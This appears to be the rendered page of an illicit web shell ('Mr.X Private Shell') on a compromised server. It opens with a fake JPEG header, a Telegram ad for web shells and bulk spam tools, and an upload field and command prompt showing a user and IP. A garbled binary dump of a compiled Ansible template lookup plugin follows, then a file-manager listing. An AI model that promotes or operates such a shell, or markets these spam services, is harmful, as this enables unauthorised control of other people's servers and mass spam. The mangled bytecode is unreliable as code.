����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

�)gN�@s�ddlmZmZmZeZdZdZdZddl	m
Z
ddlZddlm
ZddlmZddlmZdd	lmZmZdd
lmZmZddlmZddlmZe�ZGd
d�de�ZdS)�)�absolute_import�division�print_functiona�
    name: template
    author: Michael DeHaan
    version_added: "0.9"
    short_description: retrieve contents of file after templating with Jinja2
    description:
      - Returns a list of strings; for each template in the list of templates you pass in, returns a string containing the results of processing that template.
    options:
      _terms:
        description: list of files to template
      convert_data:
        type: bool
        description:
            - Whether to convert YAML into data. If False, strings that are YAML will be left untouched.
            - Mutually exclusive with the jinja2_native option.
        default: true
      variable_start_string:
        description: The string marking the beginning of a print statement.
        default: '{{'
        version_added: '2.8'
        type: str
      variable_end_string:
        description: The string marking the end of a print statement.
        default: '}}'
        version_added: '2.8'
        type: str
      jinja2_native:
        description:
            - Controls whether to use Jinja2 native types.
            - It is off by default even if global jinja2_native is True.
            - Has no effect if global jinja2_native is False.
            - This offers more flexibility than the template module which does not use Jinja2 native types at all.
            - Mutually exclusive with the convert_data option.
        default: False
        version_added: '2.11'
        type: bool
      template_vars:
        description: A dictionary, the keys become additional variables available for templating.
        default: {}
        version_added: '2.3'
        type: dict
      comment_start_string:
        description: The string marking the beginning of a comment statement.
        version_added: '2.12'
        type: str
      comment_end_string:
        description: The string marking the end of a comment statement.
        version_added: '2.12'
        type: str
aO
- name: show templating results
  ansible.builtin.debug:
    msg: "{{ lookup('ansible.builtin.template', './some_template.j2') }}"

- name: show templating results with different variable start and end string
  ansible.builtin.debug:
    msg: "{{ lookup('ansible.builtin.template', './some_template.j2', variable_start_string='[%', variable_end_string='%]') }}"

- name: show templating results with different comment start and end string
  ansible.builtin.debug:
    msg: "{{ lookup('ansible.builtin.template', './some_template.j2', comment_start_string='[#', comment_end_string='#]') }}"
zW
_raw:
   description: file(s) content after templating
   type: list
   elements: raw
)�deepcopyN)�AnsibleError)�
LookupBase)�to_bytes�to_text)�generate_ansible_template_vars�AnsibleEnvironment)�Display)�NativeJinjaTextc@seZdZdd�ZdS)�LookupModulec	Ks�g}|j||d�|�d�}|�d�}|�d�o4tj}|�d�}|�d�}	|�d�}
|�d�}|rj|j}n|jjtd	�}|D�]F}
t�d
|
�|�	|d|
�}t�
d|�|�r�|j�|�\}}t
|d
d�}|�dg�}|�rg}|D]"}|�tj�|d��|�|�q�|}|�dtj�|��t|�}|�t|
|��|�|�|j||	|
|||d��"|j|d|dd�}Wd�n1�s�0Ytj�r�|�r�|�s�t|�}|�|�q|td|
��q||S)N)Zvar_optionsZdirect�convert_dataZ
template_vars�
jinja2_native�variable_start_string�variable_end_string�comment_start_string�comment_end_string)Zenvironment_classzFile lookup term: %sZ	templateszFile lookup using %s as fileZsurrogate_or_strict)�errorsZansible_search_pathr)rrrrZavailable_variables�
searchpathTF)Zpreserve_trailing_newlinesrZescape_backslashesz6the template file %s could not be found for the lookup)Zset_optionsZ
get_option�CZDEFAULT_JINJA2_NATIVEZ_templarZcopy_with_new_envr�display�debugZfind_file_in_search_pathZvvvvZ_loaderZ_get_file_contentsr	�get�append�os�path�join�insert�dirnamer�updater
Zset_temporary_context�templater
r)�selfZtermsZ	variables�kwargs�retZconvert_data_pZlookup_template_varsrrrrrZtemplarZtermZ
lookupfileZb_template_dataZ	show_dataZ
template_datarZ
newsearchpath�p�vars�res�r)�C/usr/lib/python3.9/site-packages/ansible/plugins/lookup/template.py�runbsX







��&zLookupModule.runN)�__name__�
__module__�__qualname__r+r)r)r)r*r`sr)Z
__future__rrr�typeZ
__metaclass__Z
DOCUMENTATIONZEXAMPLESZRETURN�copyrrZansible.constantsZ	constantsrZansible.errorsrZansible.plugins.lookuprZansible.module_utils._textrr	Zansible.templater
rZansible.utils.displayrZansible.utils.native_jinjar
rrr)r)r)r*�<module>s3

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 4.03 KB 0644
__init__.cpython-39.pyc File 4.03 KB 0644
config.cpython-39.opt-1.pyc File 5.38 KB 0644
config.cpython-39.pyc File 5.38 KB 0644
csvfile.cpython-39.opt-1.pyc File 6.41 KB 0644
csvfile.cpython-39.pyc File 6.41 KB 0644
dict.cpython-39.opt-1.pyc File 2.22 KB 0644
dict.cpython-39.pyc File 2.22 KB 0644
env.cpython-39.opt-1.pyc File 2.82 KB 0644
env.cpython-39.pyc File 2.82 KB 0644
file.cpython-39.opt-1.pyc File 2.75 KB 0644
file.cpython-39.pyc File 2.75 KB 0644
fileglob.cpython-39.opt-1.pyc File 2.78 KB 0644
fileglob.cpython-39.pyc File 2.78 KB 0644
first_found.cpython-39.opt-1.pyc File 7.19 KB 0644
first_found.cpython-39.pyc File 7.19 KB 0644
indexed_items.cpython-39.opt-1.pyc File 1.81 KB 0644
indexed_items.cpython-39.pyc File 1.81 KB 0644
ini.cpython-39.opt-1.pyc File 6.21 KB 0644
ini.cpython-39.pyc File 6.21 KB 0644
inventory_hostnames.cpython-39.opt-1.pyc File 1.97 KB 0644
inventory_hostnames.cpython-39.pyc File 1.97 KB 0644
items.cpython-39.opt-1.pyc File 2.04 KB 0644
items.cpython-39.pyc File 2.04 KB 0644
lines.cpython-39.opt-1.pyc File 2.42 KB 0644
lines.cpython-39.pyc File 2.42 KB 0644
list.cpython-39.opt-1.pyc File 1.33 KB 0644
list.cpython-39.pyc File 1.33 KB 0644
nested.cpython-39.opt-1.pyc File 2.68 KB 0644
nested.cpython-39.pyc File 2.68 KB 0644
password.cpython-39.opt-1.pyc File 14.45 KB 0644
password.cpython-39.pyc File 14.45 KB 0644
pipe.cpython-39.opt-1.pyc File 2.64 KB 0644
pipe.cpython-39.pyc File 2.64 KB 0644
random_choice.cpython-39.opt-1.pyc File 1.73 KB 0644
random_choice.cpython-39.pyc File 1.73 KB 0644
sequence.cpython-39.opt-1.pyc File 7.66 KB 0644
sequence.cpython-39.pyc File 7.66 KB 0644
subelements.cpython-39.opt-1.pyc File 5.01 KB 0644
subelements.cpython-39.pyc File 5.01 KB 0644
template.cpython-39.opt-1.pyc File 5.12 KB 0644
template.cpython-39.pyc File 5.12 KB 0644
together.cpython-39.opt-1.pyc File 2.45 KB 0644
together.cpython-39.pyc File 2.45 KB 0644
unvault.cpython-39.opt-1.pyc File 1.99 KB 0644
unvault.cpython-39.pyc File 1.99 KB 0644
url.cpython-39.opt-1.pyc File 8.3 KB 0644
url.cpython-39.pyc File 8.3 KB 0644
varnames.cpython-39.opt-1.pyc File 2.4 KB 0644
varnames.cpython-39.pyc File 2.4 KB 0644
vars.cpython-39.opt-1.pyc File 3.26 KB 0644
vars.cpython-39.pyc File 3.26 KB 0644